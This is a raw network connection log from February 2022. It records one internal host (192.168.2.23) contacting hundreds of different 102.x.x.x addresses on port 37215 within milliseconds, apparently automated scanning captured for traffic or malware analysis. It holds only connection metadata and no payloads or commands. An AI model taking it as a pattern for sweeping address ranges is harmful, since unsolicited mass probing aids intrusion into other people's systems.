Feb 20, 2022 15:50:59.729362011 CET	1898	37215	192.168.2.23	102.91.78.244
Feb 20, 2022 15:50:59.729382992 CET	1898	37215	192.168.2.23	102.80.144.240
Feb 20, 2022 15:50:59.729387045 CET	1898	37215	192.168.2.23	102.177.34.105
Feb 20, 2022 15:50:59.729427099 CET	1898	37215	192.168.2.23	102.250.145.204
Feb 20, 2022 15:50:59.729428053 CET	1898	37215	192.168.2.23	102.167.90.15
Feb 20, 2022 15:50:59.729455948 CET	1898	37215	192.168.2.23	102.64.226.210
Feb 20, 2022 15:50:59.729516983 CET	1898	37215	192.168.2.23	102.157.92.146
Feb 20, 2022 15:50:59.729526997 CET	1898	37215	192.168.2.23	102.20.81.160
Feb 20, 2022 15:50:59.729536057 CET	1898	37215	192.168.2.23	102.155.221.170
Feb 20, 2022 15:50:59.729557991 CET	1898	37215	192.168.2.23	102.134.136.10
Feb 20, 2022 15:50:59.729590893 CET	1898	37215	192.168.2.23	102.190.199.248
Feb 20, 2022 15:50:59.729614973 CET	1898	37215	192.168.2.23	102.62.78.53
Feb 20, 2022 15:50:59.729617119 CET	1898	37215	192.168.2.23	102.115.175.92
Feb 20, 2022 15:50:59.729630947 CET	1898	37215	192.168.2.23	102.57.249.121
Feb 20, 2022 15:50:59.729665995 CET	1898	37215	192.168.2.23	102.233.63.129
Feb 20, 2022 15:50:59.729667902 CET	1898	37215	192.168.2.23	102.169.183.52
Feb 20, 2022 15:50:59.729710102 CET	1898	37215	192.168.2.23	102.183.37.43
Feb 20, 2022 15:50:59.729732037 CET	1898	37215	192.168.2.23	102.44.2.1
Feb 20, 2022 15:50:59.729754925 CET	1898	37215	192.168.2.23	102.6.152.44
Feb 20, 2022 15:50:59.729787111 CET	1898	37215	192.168.2.23	102.19.89.149
Feb 20, 2022 15:50:59.729792118 CET	1898	37215	192.168.2.23	102.146.243.159
Feb 20, 2022 15:50:59.729808092 CET	1898	37215	192.168.2.23	102.210.72.117
Feb 20, 2022 15:50:59.729825974 CET	1898	37215	192.168.2.23	102.231.198.225
Feb 20, 2022 15:50:59.729856014 CET	1898	37215	192.168.2.23	102.59.232.14
Feb 20, 2022 15:50:59.729890108 CET	1898	37215	192.168.2.23	102.243.21.96
Feb 20, 2022 15:50:59.729907036 CET	1898	37215	192.168.2.23	102.13.60.214
Feb 20, 2022 15:50:59.729945898 CET	1898	37215	192.168.2.23	102.183.72.186
Feb 20, 2022 15:50:59.729968071 CET	1898	37215	192.168.2.23	102.224.34.24
Feb 20, 2022 15:50:59.729975939 CET	1898	37215	192.168.2.23	102.160.128.53
Feb 20, 2022 15:50:59.730004072 CET	1898	37215	192.168.2.23	102.160.220.205
Feb 20, 2022 15:50:59.730050087 CET	1898	37215	192.168.2.23	102.240.81.195
Feb 20, 2022 15:50:59.730052948 CET	1898	37215	192.168.2.23	102.244.84.126
Feb 20, 2022 15:50:59.730066061 CET	1898	37215	192.168.2.23	102.109.163.209
Feb 20, 2022 15:50:59.730089903 CET	1898	37215	192.168.2.23	102.233.47.69
Feb 20, 2022 15:50:59.730134010 CET	1898	37215	192.168.2.23	102.118.66.82
Feb 20, 2022 15:50:59.730145931 CET	1898	37215	192.168.2.23	102.92.69.221
Feb 20, 2022 15:50:59.730149984 CET	1898	37215	192.168.2.23	102.210.160.158
Feb 20, 2022 15:50:59.730195999 CET	1898	37215	192.168.2.23	102.106.52.115
Feb 20, 2022 15:50:59.730197906 CET	1898	37215	192.168.2.23	102.93.165.46
Feb 20, 2022 15:50:59.730232000 CET	1898	37215	192.168.2.23	102.101.26.218
Feb 20, 2022 15:50:59.730236053 CET	1898	37215	192.168.2.23	102.63.141.32
Feb 20, 2022 15:50:59.730247974 CET	1898	37215	192.168.2.23	102.34.240.120
Feb 20, 2022 15:50:59.730315924 CET	1898	37215	192.168.2.23	102.175.177.244
Feb 20, 2022 15:50:59.730376005 CET	1898	37215	192.168.2.23	102.14.254.79
Feb 20, 2022 15:50:59.730386972 CET	1898	37215	192.168.2.23	102.89.191.254
Feb 20, 2022 15:50:59.730405092 CET	1898	37215	192.168.2.23	102.254.246.42
Feb 20, 2022 15:50:59.730406046 CET	1898	37215	192.168.2.23	102.197.19.0
Feb 20, 2022 15:50:59.730422020 CET	1898	37215	192.168.2.23	102.78.140.79
Feb 20, 2022 15:50:59.730432034 CET	1898	37215	192.168.2.23	102.253.245.28
Feb 20, 2022 15:50:59.730477095 CET	1898	37215	192.168.2.23	102.112.145.144
Feb 20, 2022 15:50:59.730489016 CET	1898	37215	192.168.2.23	102.11.21.15
Feb 20, 2022 15:50:59.730492115 CET	1898	37215	192.168.2.23	102.83.134.78
Feb 20, 2022 15:50:59.730550051 CET	1898	37215	192.168.2.23	102.232.75.246
Feb 20, 2022 15:50:59.730562925 CET	1898	37215	192.168.2.23	102.209.215.182
Feb 20, 2022 15:50:59.730588913 CET	1898	37215	192.168.2.23	102.82.89.81
Feb 20, 2022 15:50:59.730592966 CET	1898	37215	192.168.2.23	102.40.181.51
Feb 20, 2022 15:50:59.730614901 CET	1898	37215	192.168.2.23	102.151.55.222
Feb 20, 2022 15:50:59.730657101 CET	1898	37215	192.168.2.23	102.138.140.120
Feb 20, 2022 15:50:59.730660915 CET	1898	37215	192.168.2.23	102.165.234.172
Feb 20, 2022 15:50:59.730679989 CET	1898	37215	192.168.2.23	102.59.78.155
Feb 20, 2022 15:50:59.730709076 CET	1898	37215	192.168.2.23	102.108.99.134
Feb 20, 2022 15:50:59.730756044 CET	1898	37215	192.168.2.23	102.101.213.182
Feb 20, 2022 15:50:59.730770111 CET	1898	37215	192.168.2.23	102.116.227.134
Feb 20, 2022 15:50:59.730802059 CET	1898	37215	192.168.2.23	102.203.67.213
Feb 20, 2022 15:50:59.730804920 CET	1898	37215	192.168.2.23	102.1.78.134
Feb 20, 2022 15:50:59.730833054 CET	1898	37215	192.168.2.23	102.206.253.177
Feb 20, 2022 15:50:59.730858088 CET	1898	37215	192.168.2.23	102.49.15.175
Feb 20, 2022 15:50:59.730859995 CET	1898	37215	192.168.2.23	102.213.6.199
Feb 20, 2022 15:50:59.730894089 CET	1898	37215	192.168.2.23	102.238.77.227
Feb 20, 2022 15:50:59.730918884 CET	1898	37215	192.168.2.23	102.155.244.57
Feb 20, 2022 15:50:59.730945110 CET	1898	37215	192.168.2.23	102.236.173.6
Feb 20, 2022 15:50:59.730967045 CET	1898	37215	192.168.2.23	102.121.167.167
Feb 20, 2022 15:50:59.731007099 CET	1898	37215	192.168.2.23	102.214.42.5
Feb 20, 2022 15:50:59.731021881 CET	1898	37215	192.168.2.23	102.99.92.12
Feb 20, 2022 15:50:59.731024027 CET	1898	37215	192.168.2.23	102.90.147.125
Feb 20, 2022 15:50:59.731031895 CET	1898	37215	192.168.2.23	102.228.204.54
Feb 20, 2022 15:50:59.731044054 CET	1898	37215	192.168.2.23	102.22.141.230
Feb 20, 2022 15:50:59.731125116 CET	1898	37215	192.168.2.23	102.50.21.228
Feb 20, 2022 15:50:59.731128931 CET	1898	37215	192.168.2.23	102.171.80.137
Feb 20, 2022 15:50:59.731142044 CET	1898	37215	192.168.2.23	102.106.55.181
Feb 20, 2022 15:50:59.731173038 CET	1898	37215	192.168.2.23	102.181.250.85
Feb 20, 2022 15:50:59.731188059 CET	1898	37215	192.168.2.23	102.86.202.147
Feb 20, 2022 15:50:59.731188059 CET	1898	37215	192.168.2.23	102.45.7.143
Feb 20, 2022 15:50:59.731200933 CET	1898	37215	192.168.2.23	102.128.40.176
Feb 20, 2022 15:50:59.731254101 CET	1898	37215	192.168.2.23	102.148.29.245
Feb 20, 2022 15:50:59.731278896 CET	1898	37215	192.168.2.23	102.231.23.130
Feb 20, 2022 15:50:59.731283903 CET	1898	37215	192.168.2.23	102.6.45.200
Feb 20, 2022 15:50:59.731302023 CET	1898	37215	192.168.2.23	102.54.95.178
Feb 20, 2022 15:50:59.731350899 CET	1898	37215	192.168.2.23	102.239.107.252
Feb 20, 2022 15:50:59.731353998 CET	1898	37215	192.168.2.23	102.206.208.204
Feb 20, 2022 15:50:59.731388092 CET	1898	37215	192.168.2.23	102.40.83.31
Feb 20, 2022 15:50:59.731393099 CET	1898	37215	192.168.2.23	102.96.36.78
Feb 20, 2022 15:50:59.731416941 CET	1898	37215	192.168.2.23	102.94.210.48
Feb 20, 2022 15:50:59.731463909 CET	1898	37215	192.168.2.23	102.24.205.9
Feb 20, 2022 15:50:59.731465101 CET	1898	37215	192.168.2.23	102.225.157.39
Feb 20, 2022 15:50:59.731502056 CET	1898	37215	192.168.2.23	102.191.231.182
Feb 20, 2022 15:50:59.731504917 CET	1898	37215	192.168.2.23	102.164.79.12
Feb 20, 2022 15:50:59.731539965 CET	1898	37215	192.168.2.23	102.142.104.160
Feb 20, 2022 15:50:59.731547117 CET	1898	37215	192.168.2.23	102.228.250.142
Feb 20, 2022 15:50:59.731584072 CET	1898	37215	192.168.2.23	102.41.71.27
Feb 20, 2022 15:50:59.731602907 CET	1898	37215	192.168.2.23	102.33.126.116
Feb 20, 2022 15:50:59.731606960 CET	1898	37215	192.168.2.23	102.14.147.20
Feb 20, 2022 15:50:59.731643915 CET	1898	37215	192.168.2.23	102.205.201.106
Feb 20, 2022 15:50:59.731659889 CET	1898	37215	192.168.2.23	102.148.69.163
Feb 20, 2022 15:50:59.731700897 CET	1898	37215	192.168.2.23	102.74.154.232
Feb 20, 2022 15:50:59.731703043 CET	1898	37215	192.168.2.23	102.209.233.249
Feb 20, 2022 15:50:59.731724977 CET	1898	37215	192.168.2.23	102.247.201.252
Feb 20, 2022 15:50:59.731764078 CET	1898	37215	192.168.2.23	102.208.143.190
Feb 20, 2022 15:50:59.731772900 CET	1898	37215	192.168.2.23	102.52.133.33
Feb 20, 2022 15:50:59.731781960 CET	1898	37215	192.168.2.23	102.69.75.148
Feb 20, 2022 15:50:59.731803894 CET	1898	37215	192.168.2.23	102.216.20.45
Feb 20, 2022 15:50:59.731833935 CET	1898	37215	192.168.2.23	102.50.76.72
Feb 20, 2022 15:50:59.731853962 CET	1386	37215	192.168.2.23	102.69.247.26
Feb 20, 2022 15:50:59.731869936 CET	1898	37215	192.168.2.23	102.66.174.198
Feb 20, 2022 15:50:59.731892109 CET	1898	37215	192.168.2.23	102.197.23.58
Feb 20, 2022 15:50:59.731893063 CET	1898	37215	192.168.2.23	102.162.208.119
Feb 20, 2022 15:50:59.731930971 CET	1898	37215	192.168.2.23	102.86.139.174
Feb 20, 2022 15:50:59.731939077 CET	1898	37215	192.168.2.23	102.207.78.91
Feb 20, 2022 15:50:59.731940985 CET	1386	37215	192.168.2.23	102.157.150.48
Feb 20, 2022 15:50:59.731972933 CET	1898	37215	192.168.2.23	102.193.61.66
Feb 20, 2022 15:50:59.732008934 CET	1898	37215	192.168.2.23	102.126.2.220
Feb 20, 2022 15:50:59.732011080 CET	1386	37215	192.168.2.23	102.23.174.199
Feb 20, 2022 15:50:59.732013941 CET	1898	37215	192.168.2.23	102.124.212.33
Feb 20, 2022 15:50:59.732028008 CET	1898	37215	192.168.2.23	102.84.138.25
Feb 20, 2022 15:50:59.732067108 CET	1898	37215	192.168.2.23	102.136.56.68
Feb 20, 2022 15:50:59.732069016 CET	1898	37215	192.168.2.23	102.236.17.54
Feb 20, 2022 15:50:59.732078075 CET	1386	37215	192.168.2.23	102.192.107.112
Feb 20, 2022 15:50:59.732119083 CET	1898	37215	192.168.2.23	102.101.96.54
Feb 20, 2022 15:50:59.732147932 CET	1386	37215	192.168.2.23	102.102.125.51
Feb 20, 2022 15:50:59.732151031 CET	1898	37215	192.168.2.23	102.103.252.119
Feb 20, 2022 15:50:59.732151985 CET	1898	37215	192.168.2.23	102.88.180.198
Feb 20, 2022 15:50:59.732172966 CET	1898	37215	192.168.2.23	102.172.185.143
Feb 20, 2022 15:50:59.732187033 CET	1898	37215	192.168.2.23	102.210.177.134
Feb 20, 2022 15:50:59.732209921 CET	1386	37215	192.168.2.23	102.250.252.100
Feb 20, 2022 15:50:59.732248068 CET	1898	37215	192.168.2.23	102.185.129.92
Feb 20, 2022 15:50:59.732249022 CET	1898	37215	192.168.2.23	102.106.180.183
Feb 20, 2022 15:50:59.732285976 CET	1386	37215	192.168.2.23	102.148.110.229
Feb 20, 2022 15:50:59.732295990 CET	1898	37215	192.168.2.23	102.123.69.0
Feb 20, 2022 15:50:59.732301950 CET	1898	37215	192.168.2.23	102.153.202.75
Feb 20, 2022 15:50:59.732319117 CET	1898	37215	192.168.2.23	102.43.28.110
Feb 20, 2022 15:50:59.732350111 CET	1898	37215	192.168.2.23	102.62.144.203
Feb 20, 2022 15:50:59.732352018 CET	1386	37215	192.168.2.23	102.220.60.245
Feb 20, 2022 15:50:59.732376099 CET	1898	37215	192.168.2.23	102.166.166.19
Feb 20, 2022 15:50:59.732403040 CET	1898	37215	192.168.2.23	102.121.202.9
Feb 20, 2022 15:50:59.732414961 CET	1898	37215	192.168.2.23	102.65.37.229
Feb 20, 2022 15:50:59.732422113 CET	1898	37215	192.168.2.23	102.33.240.249
Feb 20, 2022 15:50:59.732443094 CET	1898	37215	192.168.2.23	102.9.42.15
Feb 20, 2022 15:50:59.732450008 CET	1386	37215	192.168.2.23	102.214.62.133
Feb 20, 2022 15:50:59.732470036 CET	1898	37215	192.168.2.23	102.161.167.170
Feb 20, 2022 15:50:59.732485056 CET	1386	37215	192.168.2.23	102.2.109.71
Feb 20, 2022 15:50:59.732517958 CET	1898	37215	192.168.2.23	102.246.13.112
Feb 20, 2022 15:50:59.732530117 CET	1898	37215	192.168.2.23	102.129.104.20
Feb 20, 2022 15:50:59.732543945 CET	1386	37215	192.168.2.23	102.1.217.43
Feb 20, 2022 15:50:59.732558966 CET	1898	37215	192.168.2.23	102.62.170.154
Feb 20, 2022 15:50:59.732588053 CET	1898	37215	192.168.2.23	102.157.23.231
Feb 20, 2022 15:50:59.732600927 CET	1898	37215	192.168.2.23	102.99.54.85
Feb 20, 2022 15:50:59.732604027 CET	1898	37215	192.168.2.23	102.239.131.87
Feb 20, 2022 15:50:59.732623100 CET	1386	37215	192.168.2.23	102.238.111.112
Feb 20, 2022 15:50:59.732650042 CET	1898	37215	192.168.2.23	102.193.169.77
Feb 20, 2022 15:50:59.732660055 CET	1898	37215	192.168.2.23	102.119.5.1
Feb 20, 2022 15:50:59.732688904 CET	1898	37215	192.168.2.23	102.56.201.196
Feb 20, 2022 15:50:59.732713938 CET	1898	37215	192.168.2.23	102.79.8.28
Feb 20, 2022 15:50:59.732717037 CET	1386	37215	192.168.2.23	102.89.213.241
Feb 20, 2022 15:50:59.732734919 CET	1898	37215	192.168.2.23	102.67.246.154
Feb 20, 2022 15:50:59.732736111 CET	1386	37215	192.168.2.23	102.238.28.69
Feb 20, 2022 15:50:59.732745886 CET	1898	37215	192.168.2.23	102.16.157.168
Feb 20, 2022 15:50:59.732781887 CET	1898	37215	192.168.2.23	102.130.107.31
Feb 20, 2022 15:50:59.732806921 CET	1386	37215	192.168.2.23	102.78.73.15
Feb 20, 2022 15:50:59.732809067 CET	1898	37215	192.168.2.23	102.66.102.54
Feb 20, 2022 15:50:59.732846022 CET	1898	37215	192.168.2.23	102.62.11.153
Feb 20, 2022 15:50:59.732847929 CET	1898	37215	192.168.2.23	102.230.32.4
Feb 20, 2022 15:50:59.732861996 CET	1386	37215	192.168.2.23	102.37.212.188
Feb 20, 2022 15:50:59.732886076 CET	1898	37215	192.168.2.23	102.108.188.21
Feb 20, 2022 15:50:59.732908964 CET	1898	37215	192.168.2.23	102.183.74.28
Feb 20, 2022 15:50:59.732908964 CET	1898	37215	192.168.2.23	102.76.100.168
Feb 20, 2022 15:50:59.732949018 CET	1898	37215	192.168.2.23	102.123.14.150
Feb 20, 2022 15:50:59.732953072 CET	1898	37215	192.168.2.23	102.172.174.17
Feb 20, 2022 15:50:59.732978106 CET	1386	37215	192.168.2.23	102.191.205.244
Feb 20, 2022 15:50:59.732980967 CET	1386	37215	192.168.2.23	102.181.220.31
Feb 20, 2022 15:50:59.733004093 CET	1898	37215	192.168.2.23	102.27.251.211
Feb 20, 2022 15:50:59.733026028 CET	1898	37215	192.168.2.23	102.0.115.193
Feb 20, 2022 15:50:59.733051062 CET	1898	37215	192.168.2.23	102.46.33.100
Feb 20, 2022 15:50:59.733055115 CET	1386	37215	192.168.2.23	102.106.13.183
Feb 20, 2022 15:50:59.733061075 CET	1898	37215	192.168.2.23	102.250.165.152
Feb 20, 2022 15:50:59.733093977 CET	1898	37215	192.168.2.23	102.210.243.75
Feb 20, 2022 15:50:59.733097076 CET	1898	37215	192.168.2.23	102.252.130.49
Feb 20, 2022 15:50:59.733102083 CET	1386	37215	192.168.2.23	102.143.116.191
Feb 20, 2022 15:50:59.733112097 CET	1898	37215	192.168.2.23	102.215.35.77
Feb 20, 2022 15:50:59.733129978 CET	1898	37215	192.168.2.23	102.235.129.237
Feb 20, 2022 15:50:59.733160019 CET	1386	37215	192.168.2.23	102.148.222.93
Feb 20, 2022 15:50:59.733201027 CET	1898	37215	192.168.2.23	102.209.174.144
Feb 20, 2022 15:50:59.733201027 CET	1898	37215	192.168.2.23	102.60.219.249
Feb 20, 2022 15:50:59.733215094 CET	1386	37215	192.168.2.23	102.212.84.220
Feb 20, 2022 15:50:59.733237982 CET	1898	37215	192.168.2.23	102.38.123.133
Feb 20, 2022 15:50:59.733254910 CET	1898	37215	192.168.2.23	102.254.116.77
Feb 20, 2022 15:50:59.733254910 CET	1898	37215	192.168.2.23	102.22.94.141
Feb 20, 2022 15:50:59.733285904 CET	1386	37215	192.168.2.23	102.65.58.7
Feb 20, 2022 15:50:59.733289003 CET	1898	37215	192.168.2.23	102.123.60.156
Feb 20, 2022 15:50:59.733313084 CET	1898	37215	192.168.2.23	102.102.136.110
Feb 20, 2022 15:50:59.733325005 CET	1898	37215	192.168.2.23	102.57.24.142
Feb 20, 2022 15:50:59.733359098 CET	1898	37215	192.168.2.23	102.108.124.19
Feb 20, 2022 15:50:59.733366966 CET	1386	37215	192.168.2.23	102.23.145.130
Feb 20, 2022 15:50:59.733370066 CET	1898	37215	192.168.2.23	102.28.206.149
Feb 20, 2022 15:50:59.733391047 CET	1898	37215	192.168.2.23	102.88.21.5
Feb 20, 2022 15:50:59.733397961 CET	1898	37215	192.168.2.23	102.12.233.141
Feb 20, 2022 15:50:59.733417034 CET	1898	37215	192.168.2.23	102.76.224.53
Feb 20, 2022 15:50:59.733437061 CET	1898	37215	192.168.2.23	102.161.47.167
Feb 20, 2022 15:50:59.733470917 CET	1386	37215	192.168.2.23	102.170.106.171
Feb 20, 2022 15:50:59.733474016 CET	1898	37215	192.168.2.23	102.238.30.214
Feb 20, 2022 15:50:59.733489037 CET	1898	37215	192.168.2.23	102.96.57.121
Feb 20, 2022 15:50:59.733520985 CET	1386	37215	192.168.2.23	102.65.81.188
Feb 20, 2022 15:50:59.733525991 CET	1898	37215	192.168.2.23	102.87.132.254
Feb 20, 2022 15:50:59.733539104 CET	1898	37215	192.168.2.23	102.112.25.206
Feb 20, 2022 15:50:59.733541012 CET	1386	37215	192.168.2.23	102.144.252.126
Feb 20, 2022 15:50:59.733565092 CET	1898	37215	192.168.2.23	102.249.211.190
Feb 20, 2022 15:50:59.733587980 CET	1898	37215	192.168.2.23	102.53.71.125
Feb 20, 2022 15:50:59.733611107 CET	1898	37215	192.168.2.23	102.39.128.152
Feb 20, 2022 15:50:59.733614922 CET	1386	37215	192.168.2.23	102.48.10.76
Feb 20, 2022 15:50:59.733661890 CET	1898	37215	192.168.2.23	102.40.141.112
Feb 20, 2022 15:50:59.733664989 CET	1898	37215	192.168.2.23	102.22.175.164
Feb 20, 2022 15:50:59.733691931 CET	1898	37215	192.168.2.23	102.51.251.129
Feb 20, 2022 15:50:59.733700991 CET	1386	37215	192.168.2.23	102.31.209.152
Feb 20, 2022 15:50:59.733717918 CET	1898	37215	192.168.2.23	102.8.16.178
Feb 20, 2022 15:50:59.733743906 CET	1898	37215	192.168.2.23	102.241.45.79
Feb 20, 2022 15:50:59.733747005 CET	1898	37215	192.168.2.23	102.205.203.46
Feb 20, 2022 15:50:59.733752966 CET	1386	37215	192.168.2.23	102.161.200.202
Feb 20, 2022 15:50:59.733774900 CET	1898	37215	192.168.2.23	102.104.255.239
Feb 20, 2022 15:50:59.733808994 CET	1898	37215	192.168.2.23	102.57.14.47
Feb 20, 2022 15:50:59.733809948 CET	1898	37215	192.168.2.23	102.200.17.28
Feb 20, 2022 15:50:59.733814955 CET	1386	37215	192.168.2.23	102.81.37.92
Feb 20, 2022 15:50:59.733834982 CET	1898	37215	192.168.2.23	102.172.118.0
Feb 20, 2022 15:50:59.733854055 CET	1898	37215	192.168.2.23	102.147.36.88
Feb 20, 2022 15:50:59.733886003 CET	1898	37215	192.168.2.23	102.72.2.244
Feb 20, 2022 15:50:59.733920097 CET	1898	37215	192.168.2.23	102.168.139.99
Feb 20, 2022 15:50:59.733921051 CET	1386	37215	192.168.2.23	102.160.212.225
Feb 20, 2022 15:50:59.733933926 CET	1386	37215	192.168.2.23	102.154.8.13
Feb 20, 2022 15:50:59.733951092 CET	1898	37215	192.168.2.23	102.203.148.228
Feb 20, 2022 15:50:59.733978033 CET	1898	37215	192.168.2.23	102.177.138.180
Feb 20, 2022 15:50:59.734006882 CET	1386	37215	192.168.2.23	102.81.144.244
Feb 20, 2022 15:50:59.734008074 CET	1898	37215	192.168.2.23	102.58.120.103
Feb 20, 2022 15:50:59.734019995 CET	1898	37215	192.168.2.23	102.25.15.247
Feb 20, 2022 15:50:59.734055042 CET	1386	37215	192.168.2.23	102.169.59.80
Feb 20, 2022 15:50:59.734055996 CET	1898	37215	192.168.2.23	102.53.168.197
Feb 20, 2022 15:50:59.734095097 CET	1898	37215	192.168.2.23	102.135.146.246
Feb 20, 2022 15:50:59.734103918 CET	1898	37215	192.168.2.23	102.166.124.29
Feb 20, 2022 15:50:59.734107971 CET	1386	37215	192.168.2.23	102.107.57.164
Feb 20, 2022 15:50:59.734153032 CET	1898	37215	192.168.2.23	102.136.241.40
Feb 20, 2022 15:50:59.734157085 CET	1898	37215	192.168.2.23	102.73.75.136
Feb 20, 2022 15:50:59.734180927 CET	1386	37215	192.168.2.23	102.222.166.126
Feb 20, 2022 15:50:59.734191895 CET	1898	37215	192.168.2.23	102.230.165.214
Feb 20, 2022 15:50:59.734215021 CET	1898	37215	192.168.2.23	102.42.8.225
Feb 20, 2022 15:50:59.734245062 CET	1386	37215	192.168.2.23	102.139.84.95
Feb 20, 2022 15:50:59.734252930 CET	1898	37215	192.168.2.23	102.107.46.223
Feb 20, 2022 15:50:59.734268904 CET	1898	37215	192.168.2.23	102.253.73.44
Feb 20, 2022 15:50:59.734270096 CET	1898	37215	192.168.2.23	102.58.134.165
Feb 20, 2022 15:50:59.734291077 CET	1898	37215	192.168.2.23	102.248.134.98
Feb 20, 2022 15:50:59.734297037 CET	1386	37215	192.168.2.23	102.154.55.63
Feb 20, 2022 15:50:59.734309912 CET	1898	37215	192.168.2.23	102.144.139.1
Feb 20, 2022 15:50:59.734340906 CET	1898	37215	192.168.2.23	102.42.217.145
Feb 20, 2022 15:50:59.734369993 CET	1386	37215	192.168.2.23	102.231.133.32
Feb 20, 2022 15:50:59.734370947 CET	1898	37215	192.168.2.23	102.130.175.250
Feb 20, 2022 15:50:59.734385967 CET	1898	37215	192.168.2.23	102.17.7.61
Feb 20, 2022 15:50:59.734405994 CET	1898	37215	192.168.2.23	102.241.195.227
Feb 20, 2022 15:50:59.734441042 CET	1386	37215	192.168.2.23	102.168.86.165
Feb 20, 2022 15:50:59.734453917 CET	1898	37215	192.168.2.23	102.123.187.36
Feb 20, 2022 15:50:59.734467030 CET	1386	37215	192.168.2.23	102.35.129.196
Feb 20, 2022 15:50:59.734473944 CET	1898	37215	192.168.2.23	102.46.196.65
Feb 20, 2022 15:50:59.734484911 CET	1898	37215	192.168.2.23	102.69.78.23
Feb 20, 2022 15:50:59.734524965 CET	1898	37215	192.168.2.23	102.225.18.126
Feb 20, 2022 15:50:59.734527111 CET	1898	37215	192.168.2.23	102.70.186.115
Feb 20, 2022 15:50:59.734560966 CET	1386	37215	192.168.2.23	102.23.79.113
Feb 20, 2022 15:50:59.734566927 CET	1898	37215	192.168.2.23	102.75.229.141
Feb 20, 2022 15:50:59.734576941 CET	1898	37215	192.168.2.23	102.194.86.221
Feb 20, 2022 15:50:59.734602928 CET	1898	37215	192.168.2.23	102.66.232.150
Feb 20, 2022 15:50:59.734627962 CET	1898	37215	192.168.2.23	102.207.98.72
Feb 20, 2022 15:50:59.734641075 CET	1386	37215	192.168.2.23	102.219.139.199
Feb 20, 2022 15:50:59.734652996 CET	1898	37215	192.168.2.23	102.62.11.28
Feb 20, 2022 15:50:59.734664917 CET	1386	37215	192.168.2.23	102.226.124.246
Feb 20, 2022 15:50:59.734678030 CET	1898	37215	192.168.2.23	102.222.36.0
Feb 20, 2022 15:50:59.734694958 CET	1898	37215	192.168.2.23	102.72.227.156
Feb 20, 2022 15:50:59.734716892 CET	1898	37215	192.168.2.23	102.27.175.206
Feb 20, 2022 15:50:59.734745026 CET	1386	37215	192.168.2.23	102.231.221.175
Feb 20, 2022 15:50:59.734762907 CET	1898	37215	192.168.2.23	102.39.18.127
Feb 20, 2022 15:50:59.734783888 CET	1898	37215	192.168.2.23	102.218.232.199
Feb 20, 2022 15:50:59.734786034 CET	1898	37215	192.168.2.23	102.246.71.72
Feb 20, 2022 15:50:59.734807968 CET	1898	37215	192.168.2.23	102.158.234.216
Feb 20, 2022 15:50:59.734827995 CET	1386	37215	192.168.2.23	102.254.211.69
Feb 20, 2022 15:50:59.734829903 CET	1386	37215	192.168.2.23	102.75.26.135
Feb 20, 2022 15:50:59.734846115 CET	1898	37215	192.168.2.23	102.42.175.31
Feb 20, 2022 15:50:59.734857082 CET	1898	37215	192.168.2.23	102.177.151.77
Feb 20, 2022 15:50:59.734895945 CET	1898	37215	192.168.2.23	102.222.199.36
Feb 20, 2022 15:50:59.734910965 CET	1386	37215	192.168.2.23	102.93.71.93
Feb 20, 2022 15:50:59.734920025 CET	1898	37215	192.168.2.23	102.215.76.19
Feb 20, 2022 15:50:59.734950066 CET	1898	37215	192.168.2.23	102.145.34.61
Feb 20, 2022 15:50:59.734961987 CET	1898	37215	192.168.2.23	102.93.236.69
Feb 20, 2022 15:50:59.734965086 CET	1386	37215	192.168.2.23	102.189.154.61
Feb 20, 2022 15:50:59.734983921 CET	1898	37215	192.168.2.23	102.177.7.58
Feb 20, 2022 15:50:59.735006094 CET	1898	37215	192.168.2.23	102.218.99.222
Feb 20, 2022 15:50:59.735014915 CET	1386	37215	192.168.2.23	102.137.159.7
Feb 20, 2022 15:50:59.735021114 CET	1898	37215	192.168.2.23	102.95.22.130
Feb 20, 2022 15:50:59.735095024 CET	1898	37215	192.168.2.23	102.77.114.222
Feb 20, 2022 15:50:59.735109091 CET	1386	37215	192.168.2.23	102.112.7.242
Feb 20, 2022 15:50:59.735119104 CET	1898	37215	192.168.2.23	102.151.159.216
Feb 20, 2022 15:50:59.735121012 CET	1898	37215	192.168.2.23	102.99.22.165
Feb 20, 2022 15:50:59.735122919 CET	1386	37215	192.168.2.23	102.17.221.212
Feb 20, 2022 15:50:59.735127926 CET	1898	37215	192.168.2.23	102.240.238.246
Feb 20, 2022 15:50:59.735166073 CET	1898	37215	192.168.2.23	102.52.121.55
Feb 20, 2022 15:50:59.735191107 CET	1386	37215	192.168.2.23	102.122.158.222
Feb 20, 2022 15:50:59.735198021 CET	1898	37215	192.168.2.23	102.28.210.192
Feb 20, 2022 15:50:59.735198021 CET	1898	37215	192.168.2.23	102.239.209.219
Feb 20, 2022 15:50:59.735235929 CET	1898	37215	192.168.2.23	102.111.161.129
Feb 20, 2022 15:50:59.735239983 CET	1898	37215	192.168.2.23	102.49.193.38
Feb 20, 2022 15:50:59.735251904 CET	1898	37215	192.168.2.23	102.65.118.83
Feb 20, 2022 15:50:59.735275030 CET	1898	37215	192.168.2.23	102.156.180.1
Feb 20, 2022 15:50:59.735285997 CET	1386	37215	192.168.2.23	102.120.240.69
Feb 20, 2022 15:50:59.735301018 CET	1898	37215	192.168.2.23	102.154.179.48
Feb 20, 2022 15:50:59.735321045 CET	1898	37215	192.168.2.23	102.227.207.28
Feb 20, 2022 15:50:59.735342026 CET	1386	37215	192.168.2.23	102.46.172.248
Feb 20, 2022 15:50:59.735359907 CET	1898	37215	192.168.2.23	102.90.99.26
Feb 20, 2022 15:50:59.735366106 CET	1898	37215	192.168.2.23	102.87.4.62
Feb 20, 2022 15:50:59.735379934 CET	1898	37215	192.168.2.23	102.65.98.195
Feb 20, 2022 15:50:59.735414028 CET	1386	37215	192.168.2.23	102.123.234.166
Feb 20, 2022 15:50:59.735430956 CET	1898	37215	192.168.2.23	102.136.110.10
Feb 20, 2022 15:50:59.735456944 CET	1898	37215	192.168.2.23	102.7.188.186
Feb 20, 2022 15:50:59.735460043 CET	1898	37215	192.168.2.23	102.100.203.187
Feb 20, 2022 15:50:59.735496998 CET	1898	37215	192.168.2.23	102.71.100.99
Feb 20, 2022 15:50:59.735497952 CET	1386	37215	192.168.2.23	102.88.11.135
Feb 20, 2022 15:50:59.735519886 CET	1898	37215	192.168.2.23	102.210.127.175
Feb 20, 2022 15:50:59.735526085 CET	1386	37215	192.168.2.23	102.27.106.233
Feb 20, 2022 15:50:59.735536098 CET	1898	37215	192.168.2.23	102.175.103.195
Feb 20, 2022 15:50:59.735560894 CET	1898	37215	192.168.2.23	102.71.54.99
Feb 20, 2022 15:50:59.735562086 CET	1898	37215	192.168.2.23	102.250.212.208
Feb 20, 2022 15:50:59.735600948 CET	1898	37215	192.168.2.23	102.38.24.64
